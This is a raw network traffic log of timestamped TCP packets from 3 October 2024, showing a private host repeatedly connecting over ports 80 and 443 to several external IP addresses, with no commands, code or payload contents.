Oct 3, 2024 03:29:07.336813927 CEST	49829	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:07.336900949 CEST	80	49834	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:07.337589025 CEST	49834	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:07.337841988 CEST	49834	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:07.343271971 CEST	80	49834	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:07.885659933 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:07.885875940 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:07.885901928 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:07.887335062 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:07.887408018 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:07.888443947 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:07.888545990 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:08.027370930 CEST	80	49834	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:08.027426958 CEST	49834	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:08.028588057 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:08.028614998 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:08.230087042 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:08.940022945 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:08.944962978 CEST	80	49836	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:08.945125103 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:08.945744038 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:08.951224089 CEST	80	49836	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:09.545762062 CEST	49834	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:09.545767069 CEST	49837	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:09.550519943 CEST	80	49837	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:09.550684929 CEST	49837	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:09.551090956 CEST	80	49834	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:09.551361084 CEST	49837	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:09.551799059 CEST	49834	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:09.556075096 CEST	80	49837	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:09.649225950 CEST	80	49836	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:09.649437904 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:09.655580044 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:09.660655975 CEST	80	49836	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:09.892349005 CEST	80	49836	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:09.892420053 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:09.897783041 CEST	49836	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:10.347399950 CEST	80	49837	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:10.347486019 CEST	49837	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:11.971101046 CEST	49837	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:11.971445084 CEST	49847	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:11.976279020 CEST	80	49837	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:11.976357937 CEST	49837	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:11.976458073 CEST	80	49847	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:11.976535082 CEST	49847	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:11.976680040 CEST	49847	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:11.981797934 CEST	80	49847	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:12.222460032 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.222510099 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.222584009 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.222914934 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.222934961 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.711306095 CEST	80	49847	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:12.711472988 CEST	49847	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:12.869563103 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.872492075 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.872558117 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.873003960 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.873125076 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.873605967 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.873703003 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.874963045 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.874963999 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.874994993 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.875062943 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:12.963021040 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:12.963062048 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.152559042 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.190948009 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.191123009 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.191472054 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.191682100 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.191725969 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.197594881 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.198586941 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.198597908 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.203207970 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.203278065 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.203349113 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.203368902 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.203469992 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.209438086 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.209604979 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.215531111 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.215810061 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.215970039 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.215993881 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.218318939 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.279006958 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.279064894 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.279205084 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.279279947 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.279438019 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.280539036 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.280698061 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.286151886 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.286267996 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.286358118 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.286374092 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.287035942 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.292612076 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.292792082 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.298723936 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.299125910 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.299140930 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.305427074 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.305520058 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.305533886 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.311407089 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.311423063 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.311435938 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.311530113 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.311542034 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.311562061 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.311609030 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.311762094 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.312680960 CEST	49848	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.312695026 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.312706947 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.312715054 CEST	443	49848	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.372364044 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.372472048 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:13.372860909 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.425059080 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:13.425126076 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.034033060 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.034394979 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.034403086 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.034802914 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.034857988 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.035598040 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.035639048 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.036978006 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.037034035 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.037269115 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.037273884 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.052740097 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.053040981 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.053072929 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.053416014 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.053474903 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.054109097 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.054150105 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.054291964 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.054342031 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.054522991 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.054531097 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.121495008 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.128736019 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.220009089 CEST	49847	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:14.220416069 CEST	49856	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:14.225430012 CEST	80	49847	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:14.225483894 CEST	49847	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:14.225635052 CEST	80	49856	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:14.225694895 CEST	49856	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:14.225878954 CEST	49856	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:14.231499910 CEST	80	49856	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:14.337778091 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.338289976 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.338332891 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.338434935 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.338459969 CEST	443	49854	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.338468075 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.338500023 CEST	49854	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.339232922 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.339283943 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.339355946 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.340095043 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.340122938 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.351872921 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.352164984 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.352236986 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.352349997 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.352400064 CEST	443	49855	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.352435112 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.352459908 CEST	49855	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.353116989 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.353167057 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.353231907 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.353512049 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:14.353548050 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:14.947380066 CEST	80	49856	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:14.948590994 CEST	49856	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:15.009392023 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.010029078 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.010094881 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.011347055 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.011589050 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.013849020 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.014586926 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.014858007 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.014858007 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.014858007 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.014894962 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.015113115 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.055068970 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.055461884 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.055499077 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.055879116 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.056040049 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.056550980 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.056642056 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.056900978 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.056973934 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.057013988 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.057013988 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.057030916 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.223423958 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.223592043 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.231378078 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:15.231411934 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.231478930 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.239722967 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.240397930 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.240686893 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.243444920 CEST	49860	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.243489981 CEST	443	49860	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.271779060 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:15.274693012 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.274693012 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.279398918 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.499033928 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.499097109 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.499140024 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.499191046 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.499658108 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.499691963 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:15.502631903 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:15.508214951 CEST	49833	443	192.168.2.5	216.58.212.132
Oct 3, 2024 03:29:15.508239985 CEST	443	49833	216.58.212.132	192.168.2.5
Oct 3, 2024 03:29:15.620608091 CEST	49859	443	192.168.2.5	216.58.206.78
Oct 3, 2024 03:29:15.620659113 CEST	443	49859	216.58.206.78	192.168.2.5
Oct 3, 2024 03:29:16.568267107 CEST	49856	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:16.568660975 CEST	49862	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:16.573462009 CEST	80	49856	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:16.573517084 CEST	49856	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:16.573695898 CEST	80	49862	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:16.573751926 CEST	49862	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:16.574641943 CEST	49862	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:16.579391003 CEST	80	49862	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:17.289442062 CEST	80	49862	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:17.289555073 CEST	49862	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:18.812104940 CEST	49862	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:18.812510967 CEST	49863	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:18.817873955 CEST	80	49863	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:18.817951918 CEST	49863	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:18.818075895 CEST	49863	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:18.820746899 CEST	80	49862	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:18.822225094 CEST	49862	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:18.823908091 CEST	80	49863	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:19.543258905 CEST	80	49863	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:19.543356895 CEST	49863	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:21.178147078 CEST	49864	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:21.178150892 CEST	49863	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:21.183001995 CEST	80	49864	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:21.183290958 CEST	80	49863	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:21.183531046 CEST	49864	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:21.183537960 CEST	49863	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:21.183653116 CEST	49864	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:21.188713074 CEST	80	49864	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:21.889802933 CEST	80	49864	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:21.889862061 CEST	49864	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:22.242399931 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:22.242449999 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:22.242513895 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:22.243596077 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:22.243609905 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.036094904 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.036377907 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.038429976 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.038438082 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.038769960 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.042303085 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.042495012 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.042495012 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.042501926 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.087402105 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.215302944 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.215447903 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.215799093 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.216226101 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.216226101 CEST	49865	443	192.168.2.5	40.113.110.67
Oct 3, 2024 03:29:23.216247082 CEST	443	49865	40.113.110.67	192.168.2.5
Oct 3, 2024 03:29:23.404894114 CEST	49864	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:23.405333996 CEST	49866	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:23.410295010 CEST	80	49864	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:23.410326004 CEST	80	49866	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:23.410676003 CEST	49866	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:23.410676003 CEST	49864	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:23.411266088 CEST	49866	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:23.416780949 CEST	80	49866	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:24.116166115 CEST	80	49866	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:24.116224051 CEST	49866	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:25.683408976 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:25.688314915 CEST	80	49867	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:25.695422888 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:25.697133064 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:25.702163935 CEST	80	49867	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:25.748692036 CEST	49866	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:25.748831987 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:25.753703117 CEST	80	49868	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:25.753978968 CEST	80	49866	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:25.754081011 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:25.754122019 CEST	49866	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:25.754357100 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:25.759104013 CEST	80	49868	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:26.823431969 CEST	80	49867	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:26.823491096 CEST	80	49868	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:26.823518038 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:26.823544025 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:26.823556900 CEST	80	49867	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:26.823677063 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:26.823784113 CEST	80	49868	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:26.823908091 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:26.826456070 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:26.832798958 CEST	80	49867	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:27.058852911 CEST	80	49867	185.215.113.37	192.168.2.5
Oct 3, 2024 03:29:27.059340000 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:27.062144041 CEST	49867	80	192.168.2.5	185.215.113.37
Oct 3, 2024 03:29:28.327646971 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:28.327944994 CEST	49869	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:28.332725048 CEST	80	49869	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:28.332789898 CEST	49869	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:28.332948923 CEST	80	49868	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:28.332995892 CEST	49868	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:28.333184004 CEST	49869	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:28.337933064 CEST	80	49869	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:29.070913076 CEST	80	49869	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:29.071080923 CEST	49869	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:30.701611996 CEST	49869	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:30.701884031 CEST	49870	80	192.168.2.5	185.215.113.43
Oct 3, 2024 03:29:30.707315922 CEST	80	49870	185.215.113.43	192.168.2.5
Oct 3, 2024 03:29:30.707689047 CEST	80	49869	185.215.113.43	192.168.2.5
